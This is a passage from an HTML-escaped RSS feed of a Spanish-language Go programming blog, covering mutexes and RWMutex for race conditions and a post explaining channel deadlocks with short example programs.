style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; lock sync.Mutex&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lock.&lt;span style=&#34;color:#57c7ff&#34;&gt;Lock&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Todo lo que está aquí está bloqueado para el resto de las goroutines&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lock.&lt;span style=&#34;color:#57c7ff&#34;&gt;Unlock&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-race-conditions-on-goroutines-and-mutexes/images/mutex-lock-en-go.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-race-conditions-on-goroutines-and-mutexes/images/mutex-lock-en-go.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;El método Lock de Mutex bloquea el acceso del código, mientras que el método Unlock lo libera.&#34; width=&#34;1600&#34; height=&#34;1080&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Funcionamiento del Mutex en go&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Si protegemos la lectura y la escritura de la variable tokens, nuestro código debe funcionar perfectamente. Incluso si compilamos con el flag &lt;em&gt;--race&lt;/em&gt; y lo ejecutamos, Go ya no nos devolverá una advertencia.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;sync&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;time&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; tokens &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; = &lt;span style=&#34;color:#ff9f43&#34;&gt;120&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; wg sync.WaitGroup&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; lock sync.Mutex&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; i &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;; i&lt;span style=&#34;color:#ff6ac1&#34;&gt;++&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Add&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;lock.&lt;span style=&#34;color:#57c7ff&#34;&gt;Lock&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;&lt;span style=&#34;color:#78787e&#34;&gt;// Todo lo que está aquí está bloqueado para el resto de las goroutines&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;tokens_leidos &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; tokens&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;time.&lt;span style=&#34;color:#57c7ff&#34;&gt;Sleep&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt; time.Millisecond)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;tokens_leidos &lt;span style=&#34;color:#ff6ac1&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;tokens = tokens_leidos&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;lock.&lt;span style=&#34;color:#57c7ff&#34;&gt;Unlock&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Done&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;}()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;wg.&lt;span style=&#34;color:#57c7ff&#34;&gt;Wait&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(tokens)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;mutex-de-lectura-y-escritura&#34;&gt;Mutex de lectura y escritura&lt;/h2&gt;&#xA;&lt;p&gt;Además del mutex anterior, Go cuenta con un lock llamado RWMutex, que permite que, en un momento dado, solo una sola goroutine escriba o que múltiples lectores lean.&lt;/p&gt;&#xA;&lt;p&gt;RWmutex funciona activando el candado o bloqueo cuando hay un proceso escribiendo en el lock, durante ese momento, no se puede leer ni escribir dentro del contenido del candado. Pero cuando un proceso está leyendo, otros procesos pueden leer también.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; lock sync.RWMutex&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lock.&lt;span style=&#34;color:#57c7ff&#34;&gt;RLock&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// Todo lo que está aquí está bloqueado para el resto de las goroutines&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;lock.&lt;span style=&#34;color:#57c7ff&#34;&gt;RUnlock&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;recursos-utiles-sobre-mutex&#34;&gt;Recursos útiles sobre mutex&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://cloudxlab.com/blog/race-condition-and-deadlock/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Race conditions&lt;/a&gt;&#xA; (en inglés)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En las entradas pasadas te hable un poco sobre las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-channels-entendiendo-los-deadlocks-o-puntos-muertos/&#34;&gt;goroutines, los bloqueos o deadlocks y los channels&lt;/a&gt;&#xA;. Pero hay otro tema bastante interesante sobre los goroutines que resalta cuando usamos asincronía y hay muchas funciones accediendo a los datos al mismo tiempo y. Múltiples funciones leyendo y escribiendo la misma información puede llevar a situaciones caóticas donde cosas muy extrañas pueden suceder.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: channels, entendiendo los deadlocks o puntos muertos</title>
      <link>https://coffeebytes.dev/es/go/go-channels-entendiendo-los-deadlocks-o-puntos-muertos/</link>
      <pubDate>Wed, 26 Jan 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-channels-entendiendo-los-deadlocks-o-puntos-muertos/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Cuando trabajamos con channels hay un error bastante común que ocurre cuando no se está familiarizado con los conceptos, el error es &amp;ldquo;&lt;em&gt;fatal error: all goroutines are asleep - deadlock!&lt;/em&gt;&amp;rdquo;, traducido significa algo como &amp;ldquo;error fatal: todas las goroutines están dormidas - en un punto muerto&amp;rdquo;. La primera vez que vi este error me confundió mucho y, aunque sabía como solucionarlo, no entendía porque sucedía, así que en esta entrada te explico porque sucede como me hubiera gustado haberlo leído en su momento.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;por-que-sucede-el-error-fatal-error-all-goroutines-are-asleep---deadlock&#34;&gt;¿Por qué sucede el error fatal error: all goroutines are asleep - deadlock!?&lt;/h2&gt;&#xA;&lt;p&gt;Este error sucede cuando:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Un canal manda información, pero no uno que la reciba.&lt;/li&gt;&#xA;&lt;li&gt;Existe un canal que recibe información, pero no uno que la mande.&lt;/li&gt;&#xA;&lt;li&gt;Cuando no estamos dentro de una goroutine diferente a la de la función main&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;En cualquiera de estos casos las goroutines se quedan &amp;ldquo;esperando&amp;rdquo; ya sea mandar o recibir información, por lo que se puede decir que estamos &amp;ldquo;atascados&amp;rdquo; y es entonces cuando recibimos el error fatal error: all goroutines are asleep - deadlock!&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;operaciones-bloqueantes&#34;&gt;Operaciones bloqueantes&lt;/h2&gt;&#xA;&lt;p&gt;En go, las operaciones que mandan o reciben valores de canales son bloqueantes dentro de su propia goroutine (recuerda que la función &lt;em&gt;main&lt;/em&gt; es una goroutine), es decir, mantienen la ejecución del código en espera :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Si una operación recibe información de un canal, se bloqueará hasta que la reciba.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Si una operación manda información a un canal, se bloqueará hasta que la información enviada sea recibida.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Conociendo las dos situaciones anteriores tendremos dos casos principales:&lt;/p&gt;&#xA;&lt;h3 id=&#34;bloqueo-o-deadlock-por-falta-de-remitente&#34;&gt;Bloqueo o deadlock por falta de remitente&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;¿Qué pasa si una operación está esperando recibir información de un canal, pero ese canal no va a mandar nada jamás?&lt;/p&gt;&#xA;&lt;p&gt;Sucede cuando existe un canal que recibe información, pero no uno que la mande.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-channels-understanding-the-goroutines-deadlocks/images/deadlock-sender-go.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-channels-understanding-the-goroutines-deadlocks/images/deadlock-sender-go.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Deadlock por falta de canal de entrada&#34; width=&#34;1200&#34; height=&#34;1200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;No hay una operación que envie datos a través de un canal.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Println&lt;/span&gt;(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt;c)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// fatal error: all goroutines are asleep - deadlock!&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;bloqueo-o-deadlock-por-falta-de-destinatario&#34;&gt;Bloqueo o deadlock por falta de destinatario&lt;/h3&gt;&#xA;&lt;p&gt;¿Y si una operación manda información a un canal pero ya no hay ninguna otra goroutine que reciba la información de ese canal?&lt;/p&gt;&#xA;&lt;p&gt;Sucede cuando existe un canal que manda información, pero no uno que la reciba.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-channels-understanding-the-goroutines-deadlocks/images/deadlock-receiver-go.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-channels-understanding-the-goroutines-deadlocks/images/deadlock-receiver-go.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Deadlock por falta de canal de salida&#34; width=&#34;1200&#34; height=&#34;1200&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;En un deaclock por falta de canal de salida no hay una operación que reciba texto a través de un canal.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span style=&#34;color:#9aedfe&#34;&gt;string&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;c &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;texto&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// fatal error: all goroutines are asleep - deadlock!&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;bloqueo-por-ausencia-de-goroutine&#34;&gt;Bloqueo por ausencia de goroutine&lt;/h3&gt;&#xA;&lt;p&gt;Existe un tercer caso: si hay una operación que escribe y lea de un canal, como en el ejemplo de abajo, pero no se encuentra dentro de otra goroutine (diferente a la goroutine de main) que lea el valor, obtendremos un error de deadlock o bloqueo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;var&lt;/span&gt; channel = &lt;span style=&#34;color:#ff5c57&#34;&gt;make&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;chan&lt;/span&gt; &lt;span 